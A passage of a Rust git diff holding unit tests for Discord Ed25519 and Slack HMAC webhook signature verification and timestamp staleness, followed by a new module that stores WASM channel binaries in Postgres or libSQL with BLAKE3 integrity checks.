signing_key.verifying_key(); + + let mut message = Vec::new(); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body); + + let signature = signing_key.sign(&message); + + let public_key_hex = hex::encode(verifying_key.to_bytes()); + let signature_hex = hex::encode(signature.to_bytes()); + + (public_key_hex, signature_hex, timestamp.to_string()) + } + + // ── Category 2: Ed25519 Signature Verification ────────────────────── + + /// Existing tests pass `now_secs` matching their hardcoded timestamp + /// so they continue testing crypto-only behavior. + const TEST_TS: i64 = 1234567890; + + #[test] + fn test_valid_signature_succeeds() { + let timestamp = "1234567890"; + let body = b"test body content"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + + assert!( + verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS), + "Valid signature should verify successfully" + ); + } + + #[test] + fn test_invalid_signature_fails() { + let timestamp = "1234567890"; + let body = b"test body content"; + let (pub_key, mut sig, ts) = sign_test_message(timestamp, body); + + // Tamper one byte of the signature + let mut sig_bytes = hex::decode(&sig).unwrap(); + sig_bytes[0] ^= 0xff; + sig = hex::encode(&sig_bytes); + + assert!( + !verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS), + "Tampered signature should fail verification" + ); + } + + #[test] + fn test_tampered_body_fails() { + let timestamp = "1234567890"; + let body = b"original body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + + let tampered_body = b"tampered body"; + assert!( + !verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS), + "Signature for different body should fail" + ); + } + + #[test] + fn test_tampered_timestamp_fails() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, _ts) = sign_test_message(timestamp, body); + + assert!( + !verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS), + "Signature with wrong timestamp should fail" + ); + } + + #[test] + fn test_invalid_hex_signature_fails() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, _sig, ts) = sign_test_message(timestamp, body); + + assert!( + !verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS), + "Non-hex signature should fail gracefully" + ); + } + + #[test] + fn test_invalid_hex_public_key_fails() { + let timestamp = "1234567890"; + let body = b"test body"; + let (_pub_key, sig, ts) = sign_test_message(timestamp, body); + + assert!( + !verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS), + "Non-hex public key should fail gracefully" + ); + } + + #[test] + fn test_wrong_length_signature_fails() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, _sig, ts) = sign_test_message(timestamp, body); + + // Too short (only 32 bytes instead of 64) + let short_sig = hex::encode([0u8; 32]); + assert!( + !verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS), + "Short signature should fail" + ); + } + + #[test] + fn test_wrong_length_public_key_fails() { + let timestamp = "1234567890"; + let body = b"test body"; + let (_pub_key, sig, ts) = sign_test_message(timestamp, body); + + // Too short (only 16 bytes instead of 32) + let short_key = hex::encode([0u8; 16]); + assert!( + !verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS), + "Short public key should fail" + ); + } + + #[test] + fn test_empty_body_valid_signature() { + let timestamp = "1234567890"; + let body = b""; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + + assert!( + verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS), + "Empty body with valid signature should succeed" + ); + } + + #[test] + fn test_discord_reference_vector() { + // Hardcoded test vector using the RFC 8032 test key + // This ensures the implementation matches the standard Ed25519 algorithm + let signing_key = SigningKey::from_bytes(&[ + 0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc, + 0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e, + 0x0b, 0x44, 0x58, 0xf7, + ]); + let verifying_key = signing_key.verifying_key(); + let public_key_hex = hex::encode(verifying_key.to_bytes()); + + let timestamp = "1609459200"; + let now_secs: i64 = 1609459200; + let body = br#"{"type":1}"#; // Discord PING + + let mut message = Vec::new(); + message.extend_from_slice(timestamp.as_bytes()); + message.extend_from_slice(body); + + let signature = signing_key.sign(&message); + let signature_hex = hex::encode(signature.to_bytes()); + + assert!( + verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs), + "Reference vector should verify" + ); + + // Same key, but tampered body should fail + assert!( + !verify_discord_signature( + &public_key_hex, + &signature_hex, + timestamp, + br#"{"type":2}"#, + now_secs + ), + "Reference vector with tampered body should fail" + ); + } + + // ── Category: Timestamp Staleness ───────────────────────────────── + + #[test] + fn test_stale_timestamp_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + // now_secs is 100 seconds after the timestamp — too stale + assert!( + !verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100), + "Stale timestamp (100s old) should be rejected" + ); + } + + #[test] + fn test_future_timestamp_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + // now_secs is 100 seconds before the timestamp — future + assert!( + !verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100), + "Future timestamp (100s ahead) should be rejected" + ); + } + + #[test] + fn test_fresh_timestamp_accepted() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + // now_secs matches exactly — fresh + assert!( + verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS), + "Fresh timestamp (0s difference) should be accepted" + ); + } + + #[test] + fn test_non_numeric_timestamp_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, _ts) = sign_test_message(timestamp, body); + // Pass a non-numeric timestamp string + assert!( + !verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0), + "Non-numeric timestamp should be rejected" + ); + } + + #[test] + fn test_empty_timestamp_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, _ts) = sign_test_message(timestamp, body); + // Pass an empty timestamp string + assert!( + !verify_discord_signature(&pub_key, &sig, "", body, 0), + "Empty timestamp should be rejected" + ); + } + + #[test] + fn test_boundary_5s_accepted() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + // Exactly 5 seconds difference — should be accepted (> 5, not >= 5) + assert!( + verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5), + "Timestamp exactly 5s old should be accepted" + ); + } + + #[test] + fn test_boundary_6s_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, ts) = sign_test_message(timestamp, body); + // 6 seconds difference — should be rejected + assert!( + !verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6), + "Timestamp 6s old should be rejected" + ); + } + + #[test] + fn test_negative_timestamp_rejected() { + let timestamp = "1234567890"; + let body = b"test body"; + let (pub_key, sig, _ts) = sign_test_message(timestamp, body); + // Pass a negative timestamp string + assert!( + !verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS), + "Negative timestamp should be rejected" + ); + } + + // ── Category: HMAC-SHA256 Signature Verification (Slack) ──────────── + + /// Helper: compute expected Slack signature for a given secret, timestamp, and body. + fn sign_slack_message(signing_secret: &str, timestamp: &str, body: &[u8]) -> String { + use hmac::{Hmac, Mac}; + use sha2::Sha256; + + let mut basestring = Vec::new(); + basestring.extend_from_slice(b"v0:"); + basestring.extend_from_slice(timestamp.as_bytes()); + basestring.push(b':'); + basestring.extend_from_slice(body); + + let mut mac = Hmac::::new_from_slice(signing_secret.as_bytes()).unwrap(); + mac.update(&basestring); + let computed = mac.finalize().into_bytes(); + format!("v0={}", hex::encode(computed)) + } + + const SLACK_TEST_TS: i64 = 1234567890; + + #[test] + fn test_slack_valid_signature_succeeds() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + assert!(verify_slack_signature( + signing_secret, + timestamp, + body, + &signature, + SLACK_TEST_TS + )); + } + + #[test] + fn test_slack_tampered_body_fails() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let original_body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J"; + let tampered_body = b"token=MODIFIED&team_id=T1DC2JH3J"; + + let signature = sign_slack_message(signing_secret, timestamp, original_body); + assert!( + !verify_slack_signature( + signing_secret, + timestamp, + tampered_body, + &signature, + SLACK_TEST_TS + ), + "Signature for different body should fail" + ); + } + + #[test] + fn test_slack_tampered_timestamp_fails() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + assert!( + !verify_slack_signature( + signing_secret, + "9999999999", // Different timestamp in signature + body, + &signature, + SLACK_TEST_TS + ), + "Signature with wrong timestamp should fail" + ); + } + + #[test] + fn test_slack_tampered_signature_fails() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // Flip a byte in the signature hex (change first char after "v0=") + let chars: Vec = signature.chars().collect(); + let mut new_chars = chars.clone(); + if chars.len() > 3 { + new_chars[3] = if chars[3] == 'a' { 'b' } else { 'a' }; + } + let modified_sig: String = new_chars.iter().collect(); + + assert!( + !verify_slack_signature( + signing_secret, + timestamp, + body, + &modified_sig, + SLACK_TEST_TS + ), + "Tampered signature should fail" + ); + } + + #[test] + fn test_slack_stale_timestamp_rejected() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // now_secs is 400 seconds after timestamp — too stale + assert!( + !verify_slack_signature( + signing_secret, + timestamp, + body, + &signature, + SLACK_TEST_TS + 400 + ), + "Stale timestamp (400s old) should be rejected" + ); + } + + #[test] + fn test_slack_future_timestamp_rejected() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // now_secs is 400 seconds before timestamp — future + assert!( + !verify_slack_signature( + signing_secret, + timestamp, + body, + &signature, + SLACK_TEST_TS - 400 + ), + "Future timestamp (400s ahead) should be rejected" + ); + } + + #[test] + fn test_slack_boundary_300s_accepted() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // Exactly 300 seconds difference — should be accepted + assert!( + verify_slack_signature( + signing_secret, + timestamp, + body, + &signature, + SLACK_TEST_TS + 300 + ), + "Timestamp exactly 300s old should be accepted" + ); + } + + #[test] + fn test_slack_boundary_301s_rejected() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // 301 seconds difference — should be rejected + assert!( + !verify_slack_signature( + signing_secret, + timestamp, + body, + &signature, + SLACK_TEST_TS + 301 + ), + "Timestamp 301s old should be rejected" + ); + } + + #[test] + fn test_slack_non_numeric_timestamp_rejected() { + let signing_secret = "my-signing-secret"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + assert!( + !verify_slack_signature(signing_secret, "not-a-number", body, "v0=abc123", 0), + "Non-numeric timestamp should be rejected" + ); + } + + #[test] + fn test_slack_missing_v0_prefix_fails() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(signing_secret, timestamp, body); + // Remove the "v0=" prefix + let bad_sig = signature.strip_prefix("v0=").unwrap_or(&signature); + + assert!( + !verify_slack_signature(signing_secret, timestamp, body, bad_sig, SLACK_TEST_TS), + "Missing v0= prefix should fail" + ); + } + + #[test] + fn test_slack_wrong_signing_secret_fails() { + let secret_a = "secret-a"; + let secret_b = "secret-b"; + let timestamp = "1234567890"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + let signature = sign_slack_message(secret_a, timestamp, body); + // Try to verify with a different secret + assert!( + !verify_slack_signature(secret_b, timestamp, body, &signature, SLACK_TEST_TS), + "Signature from different secret should fail" + ); + } + + #[test] + fn test_slack_empty_body_valid() { + let signing_secret = "my-signing-secret"; + let timestamp = "1234567890"; + let body = b""; + + let signature = sign_slack_message(signing_secret, timestamp, body); + assert!( + verify_slack_signature(signing_secret, timestamp, body, &signature, SLACK_TEST_TS), + "Empty body with valid signature should succeed" + ); + } + + #[test] + fn test_slack_negative_timestamp_rejected() { + let signing_secret = "my-signing-secret"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + assert!( + !verify_slack_signature(signing_secret, "-1", body, "v0=abc123", 0), + "Negative timestamp should be rejected" + ); + } + + #[test] + fn test_slack_empty_timestamp_rejected() { + let signing_secret = "my-signing-secret"; + let body = b"token=xyzz0WbapA4vBCDEFasx0q6G"; + + assert!( + !verify_slack_signature(signing_secret, "", body, "v0=abc123", 0), + "Empty timestamp should be rejected" + ); + } +} diff --git a/src/channels/wasm/storage.rs b/src/channels/wasm/storage.rs new file mode 100644 index 00000000..189ff709 --- /dev/null +++ b/src/channels/wasm/storage.rs @@ -0,0 +1,690 @@ +//! WASM channel binary storage with integrity verification. +//! +//! Stores compiled WASM channels in the database with BLAKE3 hash verification. +//! Mirrors the pattern in `crate::tools::wasm::storage` but without capabilities table. +//! +//! # Storage Flow +//! +//! ```text +//! WASM bytes ──► BLAKE3 hash ──► Store in database +//! │ (binary + hash) +//! │ +//! └──► Later: Load ──► Verify hash ──► Return bytes +//! ``` + +use async_trait::async_trait; +use chrono::{DateTime, Utc}; +#[cfg(feature = "postgres")] +use deadpool_postgres::Pool; +use uuid::Uuid; + +use crate::tools::wasm::storage::{compute_binary_hash, verify_binary_integrity}; + +/// A stored WASM channel (metadata only, no binary). +#[derive(Debug, Clone)] +pub struct StoredWasmChannel { + pub id: Uuid, + pub user_id: String, + pub name: String, + pub version: String, + pub wit_version: String, + pub description: String, + pub capabilities_json: String, + pub status: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +/// Full channel data including binary. +#[derive(Debug)] +pub struct StoredWasmChannelWithBinary { + pub channel: StoredWasmChannel, + pub wasm_binary: Vec, + pub binary_hash: Vec, +} + +/// Parameters for storing a new WASM channel. +pub struct StoreChannelParams { + pub user_id: String, + pub name: String, + pub version: String, + pub wit_version: String, + pub description: String, + pub wasm_binary: Vec, + pub capabilities_json: String, +} + +/// Error from WASM channel storage operations. +#[derive(Debug, Clone, thiserror::Error)] +pub enum WasmChannelStoreError { + #[error("Channel not found: {0}")] + NotFound(String), + + #[error("Binary integrity check failed: hash mismatch")] + IntegrityCheckFailed, + + #[error("Database error: {0}")] + Database(String), + + #[error("Invalid data: {0}")] + InvalidData(String), +} + +/// Trait for WASM channel storage. +#[async_trait] +pub trait WasmChannelStore: Send + Sync { + /// Store a new WASM channel. + async fn store( + &self, + params: StoreChannelParams, + ) -> Result; + + /// Get channel metadata (without binary). + async fn get( + &self, + user_id: &str, + name: &str, + ) -> Result; + + /// Get channel with binary (verifies integrity). + async fn get_with_binary( + &self, + user_id: &str, + name: &str, + ) -> Result; + + /// List all channels for a user. + async fn list(&self, user_id: &str) -> Result, WasmChannelStoreError>; + + /// Delete a channel. + async fn delete(&self, user_id: &str, name: &str) -> Result; +} + +// ==================== PostgreSQL implementation ==================== + +/// PostgreSQL implementation of WasmChannelStore. +#[cfg(feature = "postgres")] +pub struct PostgresWasmChannelStore { + pool: Pool, +} + +#[cfg(feature = "postgres")] +impl PostgresWasmChannelStore { + pub fn new(pool: Pool) -> Self { + Self { pool } + } +} + +#[cfg(feature = "postgres")] +#[async_trait] +impl WasmChannelStore for PostgresWasmChannelStore { + async fn store( + &self, + params: StoreChannelParams, + ) -> Result { + let mut client = self + .pool + .get() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let binary_hash = compute_binary_hash(¶ms.wasm_binary); + let id = Uuid::new_v4(); + let now = Utc::now(); + + // Wrap delete + insert in a transaction for atomicity + let tx = client + .transaction() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + // Delete any existing version for this (user_id, name) — upgrade-in-place + tx.execute( + "DELETE FROM wasm_channels WHERE user_id = $1 AND name = $2", + &[¶ms.user_id, ¶ms.name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let row = tx + .query_one( + r#" + INSERT INTO wasm_channels ( + id, user_id, name, version, wit_version, description, wasm_binary, binary_hash, + capabilities_json, status, created_at, updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 'active', $10, $10) + RETURNING id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + "#, + &[ + &id, + ¶ms.user_id, + ¶ms.name, + ¶ms.version, + ¶ms.wit_version, + ¶ms.description, + ¶ms.wasm_binary, + &binary_hash, + ¶ms.capabilities_json, + &now, + ], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let channel = pg_row_to_channel(&row)?; + + tx.commit() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(channel) + } + + async fn get( + &self, + user_id: &str, + name: &str, + ) -> Result { + let client = self + .pool + .get() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let row = client + .query_opt( + r#" + SELECT id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = $1 AND name = $2 + "#, + &[&user_id, &name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + match row { + Some(r) => pg_row_to_channel(&r), + None => Err(WasmChannelStoreError::NotFound(name.to_string())), + } + } + + async fn get_with_binary( + &self, + user_id: &str, + name: &str, + ) -> Result { + let client = self + .pool + .get() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let row = client + .query_opt( + r#" + SELECT id, user_id, name, version, wit_version, description, + wasm_binary, binary_hash, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = $1 AND name = $2 + "#, + &[&user_id, &name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + match row { + Some(r) => { + let wasm_binary: Vec = r.get("wasm_binary"); + let binary_hash: Vec = r.get("binary_hash"); + + if !verify_binary_integrity(&wasm_binary, &binary_hash) { + tracing::error!( + user_id = user_id, + name = name, + "WASM channel binary integrity check failed" + ); + return Err(WasmChannelStoreError::IntegrityCheckFailed); + } + + let channel = StoredWasmChannel { + id: r.get("id"), + user_id: r.get("user_id"), + name: r.get("name"), + version: r.get("version"), + wit_version: r.get("wit_version"), + description: r.get("description"), + capabilities_json: r.get("capabilities_json"), + status: r.get("status"), + created_at: r.get("created_at"), + updated_at: r.get("updated_at"), + }; + + Ok(StoredWasmChannelWithBinary { + channel, + wasm_binary, + binary_hash, + }) + } + None => Err(WasmChannelStoreError::NotFound(name.to_string())), + } + } + + async fn list(&self, user_id: &str) -> Result, WasmChannelStoreError> { + let client = self + .pool + .get() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let rows = client + .query( + r#" + SELECT id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = $1 + ORDER BY name + "#, + &[&user_id], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + rows.into_iter().map(|r| pg_row_to_channel(&r)).collect() + } + + async fn delete(&self, user_id: &str, name: &str) -> Result { + let client = self + .pool + .get() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let result = client + .execute( + "DELETE FROM wasm_channels WHERE user_id = $1 AND name = $2", + &[&user_id, &name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(result > 0) + } +} + +#[cfg(feature = "postgres")] +fn pg_row_to_channel( + row: &tokio_postgres::Row, +) -> Result { + Ok(StoredWasmChannel { + id: row.get("id"), + user_id: row.get("user_id"), + name: row.get("name"), + version: row.get("version"), + wit_version: row.get("wit_version"), + description: row.get("description"), + capabilities_json: row.get("capabilities_json"), + status: row.get("status"), + created_at: row.get("created_at"), + updated_at: row.get("updated_at"), + }) +} + +// ==================== libSQL implementation ==================== + +/// libSQL/Turso implementation of WasmChannelStore. +/// +/// Holds an `Arc` handle and creates a fresh connection per operation, +/// matching the connection-per-request pattern used by the main `LibSqlBackend`. +#[cfg(feature = "libsql")] +pub struct LibSqlWasmChannelStore { + db: std::sync::Arc, +} + +#[cfg(feature = "libsql")] +impl LibSqlWasmChannelStore { + pub fn new(db: std::sync::Arc) -> Self { + Self { db } + } + + async fn connect(&self) -> Result { + let conn = self + .db + .connect() + .map_err(|e| WasmChannelStoreError::Database(format!("Connection failed: {}", e)))?; + conn.query("PRAGMA busy_timeout = 5000", ()) + .await + .map_err(|e| { + WasmChannelStoreError::Database(format!("Failed to set busy_timeout: {}", e)) + })?; + Ok(conn) + } +} + +#[cfg(feature = "libsql")] +#[async_trait] +impl WasmChannelStore for LibSqlWasmChannelStore { + async fn store( + &self, + params: StoreChannelParams, + ) -> Result { + let binary_hash = compute_binary_hash(¶ms.wasm_binary); + let id = Uuid::new_v4(); + let now = Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true); + + let conn = self.connect().await?; + let tx = conn + .transaction() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + // Delete any existing version for this (user_id, name) — upgrade-in-place + tx.execute( + "DELETE FROM wasm_channels WHERE user_id = ?1 AND name = ?2", + libsql::params![params.user_id.as_str(), params.name.as_str()], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + tx.execute( + r#" + INSERT INTO wasm_channels ( + id, user_id, name, version, wit_version, description, wasm_binary, binary_hash, + capabilities_json, status, created_at, updated_at + ) + VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, 'active', ?10, ?10) + "#, + libsql::params![ + id.to_string(), + params.user_id.as_str(), + params.name.as_str(), + params.version.as_str(), + params.wit_version.as_str(), + params.description.as_str(), + libsql::Value::Blob(params.wasm_binary), + libsql::Value::Blob(binary_hash), + params.capabilities_json.as_str(), + now.as_str(), + ], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + // Read back the row within the same transaction + let mut rows = tx + .query( + r#" + SELECT id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = ?1 AND name = ?2 + "#, + libsql::params![params.user_id.as_str(), params.name.as_str()], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let row = rows + .next() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))? + .ok_or_else(|| { + WasmChannelStoreError::Database("Insert succeeded but row not found".into()) + })?; + + let channel = libsql_row_to_channel(&row)?; + + tx.commit() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(channel) + } + + async fn get( + &self, + user_id: &str, + name: &str, + ) -> Result { + let conn = self.connect().await?; + let mut rows = conn + .query( + r#" + SELECT id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = ?1 AND name = ?2 + "#, + libsql::params![user_id, name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + match rows + .next() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))? + { + Some(row) => libsql_row_to_channel(&row), + None => Err(WasmChannelStoreError::NotFound(name.to_string())), + } + } + + async fn get_with_binary( + &self, + user_id: &str, + name: &str, + ) -> Result { + let conn = self.connect().await?; + let mut rows = conn + .query( + r#" + SELECT id, user_id, name, version, wit_version, description, + wasm_binary, binary_hash, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = ?1 AND name = ?2 + "#, + libsql::params![user_id, name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + match rows + .next() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))? + { + Some(row) => { + let wasm_binary: Vec = row + .get(6) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + let binary_hash: Vec = row + .get(7) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + if !verify_binary_integrity(&wasm_binary, &binary_hash) { + tracing::error!( + user_id = user_id, + name = name, + "WASM channel binary integrity check failed" + ); + return Err(WasmChannelStoreError::IntegrityCheckFailed); + } + + let channel = libsql_row_to_channel_with_offset(&row)?; + + Ok(StoredWasmChannelWithBinary { + channel, + wasm_binary, + binary_hash, + }) + } + None => Err(WasmChannelStoreError::NotFound(name.to_string())), + } + } + + async fn list(&self, user_id: &str) -> Result, WasmChannelStoreError> { + let conn = self.connect().await?; + let mut rows = conn + .query( + r#" + SELECT id, user_id, name, version, wit_version, description, + capabilities_json, status, created_at, updated_at + FROM wasm_channels + WHERE user_id = ?1 + ORDER BY name + "#, + libsql::params![user_id], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + let mut channels = Vec::new(); + while let Some(row) = rows + .next() + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))? + { + channels.push(libsql_row_to_channel(&row)?); + } + Ok(channels) + } + + async fn delete(&self, user_id: &str, name: &str) -> Result { + let conn = self.connect().await?; + let result = conn + .execute( + "DELETE FROM wasm_channels WHERE user_id = ?1 AND name = ?2", + libsql::params![user_id, name], + ) + .await + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(result > 0) + } +} + +#[cfg(feature = "libsql")] +#[allow(dead_code)] +fn libsql_channel_opt_text(s: Option<&str>) -> libsql::Value { + match s { + Some(s) => libsql::Value::Text(s.to_string()), + None => libsql::Value::Null, + } +} + +#[cfg(feature = "libsql")] +fn libsql_channel_parse_ts(s: &str) -> Result, WasmChannelStoreError> { + if let Ok(dt) = chrono::DateTime::parse_from_rfc3339(s) { + return Ok(dt.with_timezone(&Utc)); + } + if let Ok(ndt) = chrono::NaiveDateTime::parse_from_str(s, "%Y-%m-%d %H:%M:%S%.f") { + return Ok(ndt.and_utc()); + } + if let Ok(ndt) = chrono::NaiveDateTime::parse_from_str(s, "%Y-%m-%d %H:%M:%S") { + return Ok(ndt.and_utc()); + } + Err(WasmChannelStoreError::InvalidData(format!( + "unparseable timestamp: {:?}", + s + ))) +} + +/// Parse a channel row with standard column order (no binary columns). +/// Columns: id(0), user_id(1), name(2), version(3), wit_version(4), description(5), +/// capabilities_json(6), status(7), created_at(8), updated_at(9) +#[cfg(feature = "libsql")] +fn libsql_row_to_channel(row: &libsql::Row) -> Result { + let id_str: String = row + .get(0) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + let created_at_str: String = row + .get(8) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + let updated_at_str: String = row + .get(9) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(StoredWasmChannel { + id: id_str + .parse() + .map_err(|e: uuid::Error| WasmChannelStoreError::InvalidData(e.to_string()))?, + user_id: row + .get(1) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + name: row + .get(2) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + version: row + .get(3) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + wit_version: row + .get(4) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + description: row + .get(5) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + capabilities_json: row + .get(6) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + status: row + .get(7) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + created_at: libsql_channel_parse_ts(&created_at_str)?, + updated_at: libsql_channel_parse_ts(&updated_at_str)?, + }) +} + +/// Parse a channel row when binary columns are present (get_with_binary query). +/// Columns: id(0), user_id(1), name(2), version(3), wit_version(4), description(5), +/// wasm_binary(6), binary_hash(7), +/// capabilities_json(8), status(9), created_at(10), updated_at(11) +#[cfg(feature = "libsql")] +fn libsql_row_to_channel_with_offset( + row: &libsql::Row, +) -> Result { + let id_str: String = row + .get(0) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + let created_at_str: String = row + .get(10) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + let updated_at_str: String = row + .get(11) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?; + + Ok(StoredWasmChannel { + id: id_str + .parse() + .map_err(|e: uuid::Error| WasmChannelStoreError::InvalidData(e.to_string()))?, + user_id: row + .get(1) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + name: row + .get(2) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + version: row + .get(3) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + wit_version: row + .get(4) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + description: row + .get(5) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + capabilities_json: row + .get(8) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + status: row + .get(9) + .map_err(|e| WasmChannelStoreError::Database(e.to_string()))?, + created_at: libsql_channel_parse_ts(&created_at_str)?, + updated_at: libsql_channel_parse_ts(&updated_at_str)?, + }) +} diff --git a/src/channels/wasm/wrapper.rs 